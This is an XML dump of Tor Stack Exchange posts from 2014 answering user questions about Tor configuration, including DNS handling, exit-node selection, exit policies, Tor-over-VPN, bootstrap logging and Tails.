  <row Id="1503" PostTypeId="1" AcceptedAnswerId="1688" CreationDate="2014-02-10T20:49:00.917" Score="9" ViewCount="6511" Body="&lt;p&gt;I want to use &lt;a href=&quot;https://en.wikipedia.org/wiki/Domain_Name_System_Security_Extensions&quot;&gt;DNSSEC&lt;/a&gt; and &lt;a href=&quot;https://en.wikipedia.org/wiki/DNSCrypt#DNSCrypt&quot;&gt;DNSCrypt&lt;/a&gt; with Tor. I wonder which configuration is more secure and better?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;em&gt;SOCKS4 + dnscrypt-proxy&lt;/em&gt;:&#xA;Forward the DNS traffic to a DNS server which I choose. Although the DNS server is DNSSEC, DNSCrypto and has no logs.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;SOCKS4a&lt;/em&gt;: &#xA;Forward DNS traffic within Tor network and resolve it from many IP address.&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;SOCKS5&lt;/em&gt;:&#xA;Forward DNS traffic within Tor network, but resolve it from one IP address (exit node).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So, basically the question is &lt;em&gt;&quot;How to use DNSSEC and DNSCrypt correctly over Tor?&quot;&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="947" LastEditorDisplayName="user5" LastEditDate="2014-02-20T22:15:04.703" LastActivityDate="2016-01-11T08:09:55.300" Title="DNSSEC &amp; DNSCrypt over Tor" Tags="|dns|socks|encryption|proxy-leaks|" AnswerCount="5" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="1504" PostTypeId="2" ParentId="1498" CreationDate="2014-02-10T21:15:57.357" Score="1" Body="&lt;p&gt;The Tor Browser Bundle which you is downloaded by default is configured as a client only. When you want to use it as a relay you can either &lt;a href=&quot;https://tor.stackexchange.com/a/1072/88&quot;&gt;edit the &lt;code&gt;torrc&lt;/code&gt;&lt;/a&gt; or &lt;a href=&quot;https://www.torproject.org/download/download.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;download a relay bundle&lt;/a&gt;. For the latter case there is a package which is configured as non-exit relay and one which is an exit.&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.733" LastActivityDate="2014-02-10T21:15:57.357" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1506" PostTypeId="2" ParentId="1479" CreationDate="2014-02-11T07:00:05.540" Score="1" Body="&lt;p&gt;pabouk is correct, I made mistake when I read question.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;always the same identity is related to exit node, so, you can choose exit node in your torrc file. just find IP address you want (for example like below) and write:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes 10.100.234.333&#xA;StrictNodes 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in that way you will always get the same exit node, if you don't write strictnodes 1, tor can override your torrc parameters. theoretically if you pay some server anonymously with bitcoins and you make tor exit node, you can always use it for yourself, just add mentioned changes in your torrc file. &lt;/p&gt;&#xA;" OwnerUserId="1135" LastEditorDisplayName="user5" LastEditDate="2014-02-11T14:30:02.637" LastActivityDate="2014-02-11T14:30:02.637" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1508" PostTypeId="2" ParentId="1415" CreationDate="2014-02-11T20:17:45.853" Score="4" Body="&lt;p&gt;Quite simple. You are taking the first protocol and routing it through the second protocol. The page you mention discusses the benefits of each one and gives the details.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As an example if you want to run a Tor relay, but don't want your ISP to know you are doing so, you would wrap the Tor traffic in a VPN session, or Tor-over-VPN, written Tor --&gt; VPN. The VPN provider knows what IP you connected from, but not where you are connecting to. Your ISP won't know you are running a relay.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Different methods are achieved in different ways, but one way to do Tor --&gt; VPN is by running the VPN on your router and the Tor client/relay on your computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The drawbacks of this complexity is you add latency to increase security.&lt;/p&gt;&#xA;" OwnerUserId="1143" LastActivityDate="2014-02-11T20:17:45.853" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1510" PostTypeId="2" ParentId="1502" CreationDate="2014-02-11T23:52:22.880" Score="3" Body="&lt;p&gt;I admit that I've never done this, but looking through the man page I think you might find the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#TrackHostExits&quot; rel=&quot;nofollow&quot;&gt;TrackHostExits&lt;/a&gt; option useful:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;This option is useful if you frequently connect to sites that will expire all your authentication cookies (i.e. log you out) if your IP address changes.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Alternatively the &lt;a href=&quot;https://www.torproject.org/docs/tor-manual.html.en#MapAddress&quot; rel=&quot;nofollow&quot;&gt;MapAddress&lt;/a&gt; option may do the trick.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When a request for &lt;em&gt;address&lt;/em&gt; arrives to Tor, it will transform to &lt;em&gt;newaddress&lt;/em&gt; before processing it. For example, if you always want connections to www.example.com to exit via torserver (where torserver is the nickname of the server), use &quot;MapAddress www.example.com www.example.com.torserver.exit&quot;.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This should allow you to &lt;em&gt;always&lt;/em&gt; use the same exit node when visiting the website.&lt;/p&gt;&#xA;" OwnerDisplayName="user194" LastActivityDate="2014-02-11T23:52:22.880" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="1511" PostTypeId="1" CreationDate="2014-02-12T01:22:47.890" Score="1" ViewCount="130" Body="&lt;p&gt;Can I keep Tor and another browser on my Mac i.e. Safari so I can use the other browser to see videos (Flash?)&lt;/p&gt;&#xA;" OwnerUserId="1147" LastEditorUserId="88" LastEditDate="2014-10-04T09:16:48.627" LastActivityDate="2015-07-31T08:54:24.623" Title="Multiple Browsers on Mac" Tags="|browsers|safari|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1512" PostTypeId="2" ParentId="1511" CreationDate="2014-02-12T01:27:32.003" Score="1" Body="&lt;p&gt;Tor Browser can run alongside any number of other browsers, but by default your other browsers will not be run through the Tor network. Many users have Tor Browser for private browsing whilst keeping other browsing for less sensitive use.&lt;/p&gt;&#xA;" OwnerUserId="71" LastActivityDate="2014-02-12T01:27:32.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1516" PostTypeId="2" ParentId="1487" CreationDate="2014-02-12T16:24:43.090" Score="2" Body="&lt;h2&gt;Bootstrapping process&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If all you want to do is see the bootstrapping process the easiest way would be to simply run &lt;code&gt;start-tor-browser&lt;/code&gt; from the command line (Windows, Linux, or anything else; the example below is from a Linux system) and watch the output.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sam@stellata tor-browser_en-US $ ./start-tor-browser &#xA;&#xA;Launching Tor Browser Bundle for Linux in /home/sam/Downloads/tor-browser_en-US&#xA;&#xA;(process:3866): GLib-CRITICAL **: g_slice_set_config: assertion 'sys_page_size == 0' failed&#xA;Xlib:  extension &quot;RANDR&quot; missing on display &quot;:0.0&quot;.&#xA;&#xA;(firefox:3866): GLib-GObject-WARNING **: Attempt to add property GnomeProgram::sm-connect after class was initialised&#xA;&#xA;(firefox:3866): GLib-GObject-WARNING **: Attempt to add property GnomeProgram::show-crash-dialog after class was initialised&#xA;&#xA;(firefox:3866): GLib-GObject-WARNING **: Attempt to add property GnomeProgram::display after class was initialised&#xA;&#xA;(firefox:3866): GLib-GObject-WARNING **: Attempt to add property GnomeProgram::default-icon after class was initialised&#xA;Feb 12 11:21:05.600 [notice] Tor v0.2.4.20 (git-d90102bcf0c25d96) running on Linux with Libevent 2.0.21-stable and OpenSSL 1.0.1f.&#xA;Feb 12 11:21:05.600 [notice] Tor can't help you if you use it wrong! Learn how to be safe at https://www.torproject.org/download/download#warning&#xA;Feb 12 11:21:05.600 [notice] Read configuration file &quot;/home/sam/Downloads/tor-browser_en-US/Data/Tor/torrc-defaults&quot;.&#xA;Feb 12 11:21:05.600 [notice] Read configuration file &quot;/home/sam/Downloads/tor-browser_en-US/Data/Tor/torrc&quot;.&#xA;Feb 12 11:21:05.605 [notice] Opening Control listener on 127.0.0.1:9151&#xA;Feb 12 11:21:05.605 [notice] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;Feb 12 11:21:05.000 [notice] Parsing GEOIP IPv4 file /home/sam/Downloads/tor-browser_en-US/Data/Tor/geoip.&#xA;Feb 12 11:21:05.000 [notice] We were built to run on a 64-bit CPU, with OpenSSL 1.0.1 or later, but with a version of OpenSSL that apparently lacks accelerated support for the NIST P-224 and P-256 groups. Building openssl with such support (using the enable-ec_nistp_64_gcc_128 option when configuring it) would make ECDH much faster.&#xA;Feb 12 11:21:05.000 [notice] New control connection opened.&#xA;Feb 12 11:21:05.000 [notice] DisableNetwork is set. Tor will not make or accept non-control network connections. Shutting down all existing connections.&#xA;Feb 12 11:21:05.000 [notice] New control connection opened.&#xA;Feb 12 11:21:15.000 [notice] Opening Socks listener on 127.0.0.1:9150&#xA;Feb 12 11:21:15.000 [notice] Renaming old configuration file to &quot;/home/sam/Downloads/tor-browser_en-US/Data/Tor/torrc.orig.1&quot;&#xA;Feb 12 11:21:15.000 [notice] Bootstrapped 5%: Connecting to directory server.&#xA;Feb 12 11:21:15.000 [notice] Bootstrapped 10%: Finishing handshake with directory server.&#xA;Feb 12 11:21:16.000 [notice] Bootstrapped 15%: Establishing an encrypted directory connection.&#xA;Feb 12 11:21:16.000 [notice] Bootstrapped 20%: Asking for networkstatus consensus.&#xA;Feb 12 11:21:16.000 [notice] Bootstrapped 25%: Loading networkstatus consensus.&#xA;Feb 12 11:21:18.000 [notice] I learned some more directory information, but not enough to build a circuit: We have no usable consensus.&#xA;Feb 12 11:21:20.000 [notice] Bootstrapped 40%: Loading authority key certs.&#xA;Feb 12 11:21:21.000 [notice] Bootstrapped 45%: Asking for relay descriptors.&#xA;Feb 12 11:21:21.000 [notice] I learned some more directory information, but not enough to build a circuit: We need more microdescriptors: we have 0/5244, and can only build 0% of likely paths. (We have 0% of guards bw, 0% of midpoint bw, and 0% of exit bw.)&#xA;Feb 12 11:21:22.000 [notice] Bootstrapped 50%: Loading relay descriptors.&#xA;Feb 12 11:21:22.000 [notice] Bootstrapped 52%: Loading relay descriptors.&#xA;Feb 12 11:21:22.000 [notice] Bootstrapped 54%: Loading relay descriptors.&#xA;Feb 12 11:21:22.000 [notice] Bootstrapped 56%: Loading relay descriptors.&#xA;Feb 12 11:21:22.000 [notice] Bootstrapped 58%: Loading relay descriptors.&#xA;Feb 12 11:21:22.000 [notice] Bootstrapped 60%: Loading relay descriptors.&#xA;Feb 12 11:21:22.000 [notice] Bootstrapped 62%: Loading relay descriptors.&#xA;Feb 12 11:21:22.000 [notice] Bootstrapped 64%: Loading relay descriptors.&#xA;Feb 12 11:21:22.000 [notice] Bootstrapped 66%: Loading relay descriptors.&#xA;Feb 12 11:21:22.000 [notice] Bootstrapped 68%: Loading relay descriptors.&#xA;Feb 12 11:21:22.000 [notice] Bootstrapped 70%: Loading relay descriptors.&#xA;Feb 12 11:21:22.000 [notice] Bootstrapped 72%: Loading relay descriptors.&#xA;Feb 12 11:21:22.000 [notice] Bootstrapped 74%: Loading relay descriptors.&#xA;Feb 12 11:21:22.000 [notice] Bootstrapped 76%: Loading relay descriptors.&#xA;Feb 12 11:21:22.000 [notice] Bootstrapped 78%: Loading relay descriptors.&#xA;Feb 12 11:21:24.000 [notice] We now have enough directory information to build circuits.&#xA;Feb 12 11:21:24.000 [notice] Bootstrapped 80%: Connecting to the Tor network.&#xA;Feb 12 11:21:24.000 [notice] Bootstrapped 90%: Establishing a Tor circuit.&#xA;Feb 12 11:21:26.000 [notice] Tor has successfully opened a circuit. Looks like client functionality is working.&#xA;Feb 12 11:21:26.000 [notice] Bootstrapped 100%: Done.&#xA;0 migrated.&#xA;Feb 12 11:21:27.000 [notice] New control connection opened.&#xA;Could not check applicable rules for about:tor&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you're on a Unix or Unix like system (eg. Linux, OSX) you can also log output to a file using &lt;code&gt;tee&lt;/code&gt; or a similar application:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;./start-tor-browser | tee tor-browser.log&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If more information is needed, I recommend using a control program such as &lt;a href=&quot;https://www.torproject.org/projects/arm.html.en&quot; rel=&quot;nofollow&quot;&gt;Arm&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Internal information&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you're on a Unix like OS, you can also force Tor to dump more information about what it's currently doing by sending a &lt;code&gt;SIGUSR1&lt;/code&gt; signal to the Tor process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On Linux this can be accomplished with:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;kill -s SIGUSR1 PID&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;On other systems this might be slightly different. See &lt;code&gt;man kill&lt;/code&gt; for more info. This will dump a history information and internal process state to STDOUT.&lt;/p&gt;&#xA;" OwnerDisplayName="user5" LastEditorDisplayName="user5" LastEditDate="2014-02-12T16:32:31.003" LastActivityDate="2014-02-12T16:32:31.003" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1517" PostTypeId="2" ParentId="1480" CreationDate="2014-02-12T21:08:34.827" Score="12" Body="&lt;p&gt;&lt;a href=&quot;https://tails.boum.org/&quot;&gt;Tails&lt;/a&gt; comes with an &lt;a href=&quot;https://tails.boum.org/doc/first_steps/installation/&quot;&gt;installer&lt;/a&gt;. It installs the software by default on SD or USB drives and checks if it is installed on removable devices. So the general answer to your question is No. You can't install tails as primary OS.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming you can you would loose the amnesiac traits. Because it would enable it to save data in a persistent way.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-02-12T21:08:34.827" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1518" PostTypeId="1" AcceptedAnswerId="1519" CreationDate="2014-02-12T12:54:23.387" Score="7" ViewCount="233" Body="&lt;p&gt;I found there are 10 hardcoded entries in the Tor source code. I think these maybe the servers from which tor clients retrieve the list of relays but I need confirmation. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Google doesn't turn up enough results for Tor.&lt;/p&gt;&#xA;" OwnerUserId="1151" OwnerDisplayName="aste123" LastEditorUserId="71" LastEditDate="2014-02-12T23:24:16.807" LastActivityDate="2014-02-12T23:24:16.807" Title="What is the use of the hardcoded server entries in the Tor source code?" Tags="|source-code|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1519" PostTypeId="2" ParentId="1518" CreationDate="2014-02-12T13:39:02.677" Score="8" Body="&lt;p&gt;The 10 entries in the Tor source code stored in the &lt;code&gt;authorities[]&lt;/code&gt; array are &lt;a href=&quot;https://gitweb.torproject.org/torspec.git?a=blob_plain;hb=HEAD;f=dir-spec.txt&quot;&gt;&lt;strong&gt;Trusted Directory Authorities&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the old versions of Tor, those were used by the Tor client to download lists routing information and the up/down status of each router. The lists were signed and the signatures were checked against hardcoded entries. This means that when you first run your Tor client, you're sure that the routing information you're getting are actually directly coming from Tor-trusted servers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the newer versions, they're still used for the same purpose but with slightly more complex procedure. &lt;/p&gt;&#xA;" OwnerDisplayName="Adnan" LastActivityDate="2014-02-12T13:39:02.677" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1520" PostTypeId="1" CreationDate="2014-02-12T22:22:18.107" Score="8" ViewCount="14653" Body="&lt;p&gt;I would like a general consensus, idea, or evidential proof of how protected I am from authorities behind Tor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As it stands, am I how much more protected and less likely from getting traced behind Tor (as opposed to my direct outgoing IP plainly). Also, based on the prior mentions, how bad shall the punishments typically be if traced, and how likely am I to be traced compared to behind a proxy or Wi-Fi from public location with no tracing to me?&lt;/p&gt;&#xA;" OwnerUserId="1155" LastEditorUserId="923" LastEditDate="2014-03-06T20:07:30.097" LastActivityDate="2017-06-03T19:20:49.760" Title="How well-protected am I behind Tor?" Tags="|anonymity|security|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1521" PostTypeId="2" ParentId="1520" CreationDate="2014-02-13T01:32:02.680" Score="6" Body="&lt;p&gt;As highlighted on the Tor Project's &lt;a href=&quot;https://www.torproject.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;homepage&lt;/a&gt;, Tor's objective is:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Anonymity Online. Protect your privacy. Defend yourself against network surveillance and traffic analysis.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;To that end there are many developers, journalists, hackers, cryptographers, activists, government agents and more constantly evaluating Tor's effectiveness from both theoretical and practical standpoints. This is currently the best tool for achieving the above objectives that you will find. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Datapoints to consider:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;In the Snowden leaks there was a NSA document that outlined that they had trouble with Tor in general (see &lt;a href=&quot;http://www.theguardian.com/world/interactive/2013/oct/04/tor-stinks-nsa-presentation-document&quot; rel=&quot;nofollow noreferrer&quot;&gt;Tor Stinks document&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;As far as we know, the operator of Silkroad was &lt;a href=&quot;https://tor.stackexchange.com/questions/298/is-it-known-if-tor-communication-deanonymization-played-role-in-ross-ulbricht-ar&quot;&gt;not captured due to his use of Tor&lt;/a&gt; but to various other mistakes and Silkroad server vulnerabilities.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So, the best thing to do is to understand the known &lt;a href=&quot;http://en.wikipedia.org/wiki/Tor_%28anonymity_network%29#Weaknesses&quot; rel=&quot;nofollow noreferrer&quot;&gt;weaknesses inherent&lt;/a&gt; to Tor and decide for yourself whether it is of use to you.&lt;/p&gt;&#xA;" OwnerUserId="610" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.203" LastActivityDate="2014-02-13T14:39:35.400" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1522" PostTypeId="1" CreationDate="2014-02-13T07:59:45.367" Score="1" ViewCount="664" Body="&lt;p&gt;I know (it even says it on the page when you go to download Tor!) that torrenting over Tor is a no-go. There are several reasons for this, I quote &lt;a href=&quot;https://www.torproject.org/download/&quot; rel=&quot;nofollow&quot;&gt;the tor project website&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Torrent file-sharing applications have been observed to ignore proxy&#xA;  settings and make direct connections even when they are told to use&#xA;  Tor. Even if your torrent application connects only through Tor, you&#xA;  will often send out your real IP address in the tracker GET request,&#xA;  because that's how torrents work. Not only do you deanonymize your&#xA;  torrent traffic and your other simultaneous Tor web traffic this way,&#xA;  you also slow down the entire Tor network for everyone else.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Would there be any way (theoretically speaking) to modify a torrent system so that it would be safe to use over Tor? (Get rid of IP broadcasting, make proxies better recognised, etc). I am not asking about the realities of setting up such a network, only whether it would be possible.&lt;/p&gt;&#xA;" OwnerUserId="1156" LastEditorUserId="923" LastEditDate="2014-07-01T12:44:55.897" LastActivityDate="2016-08-26T16:34:51.807" Title="Theoretically possible to make torrenting over Tor work?" Tags="|anonymity|bittorrent|" AnswerCount="1" CommentCount="4" ClosedDate="2016-09-09T20:48:43.417" ContentLicense="CC BY-SA 3.0" />
  <row Id="1523" PostTypeId="1" CreationDate="2014-02-13T13:59:46.767" Score="3" ViewCount="988" Body="&lt;p&gt;Can I pick and choose what sites a user can access via my exit node? For instance I might be very pro-facebook, but I probably have no interest in helping to conceal the identity of people downloading child-porn or engaging in other things I might find morally objectionable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance, could I advertise that if you want facebook or news sites, you can use my exit node, but all other traffic is restricted?&lt;/p&gt;&#xA;" OwnerUserId="1159" LastActivityDate="2014-02-13T20:34:48.847" Title="If I am an exit node can/should I restrict certain sites?" Tags="|exit-relays|exit-policies|" AnswerCount="4" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1524" PostTypeId="2" ParentId="1523" CreationDate="2014-02-13T14:03:29.213" Score="0" Body="&lt;p&gt;About advertising: yes, of course you can.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;About technically doing it: You should not restrict sites in Tor itself (but you can do so with ExitPolicy), but you can set up a different layer restricting the access from your computer to these sites. It will get restricted for your Tor exit node as well.&lt;/p&gt;&#xA;" OwnerUserId="555" LastEditorUserId="555" LastEditDate="2014-02-13T15:59:11.543" LastActivityDate="2014-02-13T15:59:11.543" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="1525" PostTypeId="2" ParentId="1523" CreationDate="2014-02-13T14:28:05.687" Score="4" Body="&lt;p&gt;Yes and no.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can I pick and choose what sites a user can access via my exit node?&#xA;  For instance I might be very pro-facebook, but I probably have no&#xA;  interest in helping to conceal the identity of people downloading&#xA;  child-porn or engaging in other things I might find morally&#xA;  objectionable.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The point of Tor is to make everyone anonymous online; unfortunately, that means masking the bad guys as well as the good. If you setup a firewall infront of your exit to block websites, you will most likely receive the &quot;bad exit&quot; flag and no one will use your node.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;However&lt;/em&gt;, if you setup a firewall, block all sites but the ones you want, and then configure your exit policy properly (eg allow facebook IP's, then reject *:*) you will not receive the bad exit flag. The problem with this is that compiling a list of all IP's used by a given service (eg. Facebook) can be rather tricky. There's no guarantee that their gateways won't change and you'll need to take some measure to ensure that your exit policy and firewall rules remain valid.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example exit policy (for Facebook and Google) can be found below:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitPolicy accept 173.252.110.27:80&#xA;ExitPolicy accept 173.252.110.27:443&#xA;ExitPolicy accept 74.125.0.0/16&#xA;ExitPolicy reject *:*&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerDisplayName="user5" LastEditorUserId="88" LastEditDate="2014-02-13T15:33:42.970" LastActivityDate="2014-02-13T15:33:42.970" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1526" PostTypeId="2" ParentId="1523" CreationDate="2014-02-13T15:44:11.413" Score="0" Body="&lt;p&gt;You can go in different directions when it comes to blocking the access to different sites.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;As Sam wrote in &lt;a href=&quot;https://tor.stackexchange.com/a/1525/88&quot;&gt;his answer&lt;/a&gt; you can set a special &lt;code&gt;ExitPolicy&lt;/code&gt; in your &lt;code&gt;torrc&lt;/code&gt;. This allows other Tor clients to use your relay as exit and reach those sites. &lt;/li&gt;&#xA;&lt;li&gt;Use some filtering tool to block the access to certain sites or&lt;/li&gt;&#xA;&lt;li&gt;modify the content of some sites&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;The last two are considered bad practise. As soon as someone notices that you are doing this your relay will receive the &lt;code&gt;BadExit&lt;/code&gt; flag. Now your relay can't be used for exit traffic (or Tor traffic in general) anymore.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So the recommended way is 1. (setting &lt;code&gt;ExitPolicy&lt;/code&gt;).&lt;/p&gt;&#xA;" OwnerUserId="88" LastEditorUserId="-1" LastEditDate="2017-04-13T12:59:11.203" LastActivityDate="2014-02-13T15:44:11.413" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1527" PostTypeId="2" ParentId="1499" CreationDate="2014-02-13T16:04:44.410" Score="2" Body="&lt;p&gt;Your best bet is &lt;a href=&quot;https://www.torproject.org/projects/vidalia.html.en&quot; rel=&quot;nofollow&quot;&gt;Vidalia&lt;/a&gt;. This must be installed manually. However one of the Tor developers has some &lt;a href=&quot;https://people.torproject.org/~erinn/vidalia-standalone-bundles/&quot; rel=&quot;nofollow&quot;&gt;pre-built binaries&lt;/a&gt;. Select the one which fits you best and download it. You can extract (or execute in Windows) the package to any directory. Within the extracted files is a script called &lt;code&gt;start-vidalia&lt;/code&gt;. When you execute it Vidalia comes up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When Vidalia doesn't connect automatically to a running Tor instance, you'll have to configure it. Click on &lt;em&gt;Settings&lt;/em&gt; and find a line with the word &lt;em&gt;tor&lt;/em&gt;. On the right side is a button &lt;em&gt;Browse&lt;/em&gt;. Click on it and enter the correct path to your Tor executable. This is usually the subdirectory &lt;code&gt;Tor&lt;/code&gt; of your TBB installation. Now save your settings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to play around or use Vidalia as you're used to.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You might also want to have a look a trac entry &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/8641&quot; rel=&quot;nofollow&quot;&gt;#8641&lt;/a&gt;. The transition from Vidalia to another solution is discussed there. Probably other solutions can be found in the future there.&lt;/p&gt;&#xA;" OwnerUserId="88" LastActivityDate="2014-02-13T16:04:44.410" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1528" PostTypeId="2" ParentId="1243" CreationDate="2014-02-13T18:02:55.960" Score="1" Body="&lt;p&gt;Your guess of limited connections may be correct. In the past, I've run into a number of problems with Tor opening large numbers of connections (relatively speaking, as I was doing research on Raspberry Pi - 400-500 connections would be fine on many machines but on the Pi it was taking up a lot of RAM).  So, under some conditions, Tor will cause hundreds of connections to be open on your machine and/or NAT router.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bittorrent is another very well-known culprit in opening hundreds of connections, and in fact the problem is often worse, because as it attempts to contact peers that are no longer present, it may leave a &quot;half-open connection&quot; in your NAT router's routing table that is useless but takes a while to time out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In many cases, consumer NAT routers support a limited number of NATed connections, anywhere from 1024 to 10240 (typically).  And, the router's UI may &lt;em&gt;tell&lt;/em&gt; you you can enter a number from e.g. 0-4096, but each open or half-open connection takes RAM; when the router runs out, it may do so at a lower number than the maximum you expect, and thus often new connections will start failing.  Since Bittorrent typically only connects to trackers once in a while on an established torrent, say every 30 min, these are &quot;new&quot; connections which may fail in such a condition.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other symptoms you're likely, but not guaranteed, to see if this is actually your problem:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Existing, persistent connections (streaming audio, video, persistent web apps) will often continue to function but may fail when restarted.&lt;/li&gt;&#xA;&lt;li&gt;New connections often time out or fail.&lt;/li&gt;&#xA;&lt;li&gt;When loading web pages, you may see frequent &quot;partial loads,&quot; e.g. where the content comes in, but the style doesn't, and ads load but images don't. Each connection to a different server providing content for a page load has to roll the dice and hope for a free slot, causing this behavior.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you're seeing behavior like this, typically there are a number of things that can be done.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Reduce the global number of connections allowed in uTorrent. If you are running into a NAT logjam often, this can actually &lt;em&gt;increase&lt;/em&gt; performance; and if you don't choke it too hard, it rarely decreases performance. You may see slower ramp-up on new torrents, but Bittorrent maximizes performance on its own and after the first minute or two on a well seeded torrent, fewer connections per torrent won't matter much.&lt;/li&gt;&#xA;&lt;li&gt;Reduce connection timeouts on your NAT router, especially for unconfirmed connections, half-open connections, connections in TIME_WAIT or SYN_SENT.&lt;/li&gt;&#xA;&lt;li&gt;Increase the number of allowed connections on your NAT router, but make sure one way or another that it's not lying to you about the maximum it can handle.  If this doesn't work well, you may wish to consider buying a router with more RAM and installing a FOSS firmware like Tomato.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="168" LastActivityDate="2014-02-13T18:02:55.960" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="1529" PostTypeId="1" CreationDate="2014-02-13T19:44:08.440" Score="0" ViewCount="39" Body="&lt;p&gt;tor is never in the task bar and i would like to see the control panel, i download tor several times and mozilla to.. i don't understand. Can you help me please ? I didn't find the answer anywhere.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;( I'm French so sorry for the faults)&lt;/p&gt;&#xA;" OwnerUserId="1161" LastActivityDate="2014-02-13T21:29:27.463" Title="Why is there not control panel in the task bar?" Tags="|tor-browser-bundle|windows|vidalia|" AnswerCount="0" CommentCount="1" FavoriteCount="0" ClosedDate="2014-02-13T21:34:04.913" ContentLicense="CC BY-SA 3.0" />
